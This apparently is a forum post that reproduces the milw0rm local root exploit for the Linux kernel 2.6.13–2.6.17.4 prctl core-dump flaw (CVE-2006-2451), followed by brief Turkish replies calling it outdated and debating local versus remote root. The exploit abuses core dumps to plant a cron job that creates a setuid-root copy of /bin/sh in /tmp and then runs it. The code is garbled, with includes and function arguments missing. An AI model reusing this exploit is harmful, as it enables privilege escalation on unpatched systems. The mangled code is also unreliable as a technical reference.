Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl Local Root Exploit/ // Local r00t Exploit for: // Linux Kernel PRCTL Core Dump Handling // ( BID 18874 / CVE-2006-2451 ) // Kernel 2.6. x (>= 2.6.13 && < 2.6.17.4 / By: // - dreyer // - RoMaNSoFt // // /#include #include #include #include #include #include #include #include char payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n root cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron. d/core\n";int main { int child; struct rlimit corelimit; printf("Linux Kernel 2.6. x PRCTL Core Dump Handling - Local r00t\n"); printf ; printf(" \n\n"); corelimit. rlim_cur = RLIM_INFINITY; corelimit. rlim_max = RLIM_INFINITY; setrlimit ; printf ; if ( !( child = fork )) kill ; printf(" Sleeping for aprox. one minute \n"); sleep(62); printf(" Running shell ...\n"); system ;}// milw0rm.com

hoca bu ne? Olmayacak şeyler tasarlıyorum, işim bu..

eskidi bu artik bildigim en dandik server bile patch etmis :)islemez... Real programmers can write assembly code in any language. :-)

local root diyor password disclosure demiyor her ikiside local pc basinda oturmadan root olabilirsin :)local ile remote exploit e bir daha goz at istersen :)) Real programmers can write assembly code in any language. :-)

linux 2.6 çekirdegine sahip bir pcde root şifresini almak... tabii bunu dışardan kullanamıyorsun eh pcnin başına oturduktan sonra root şifresini almak sorun olmamalı Mühendis kahveyi projeye dnüştüren bir insan evladıdır.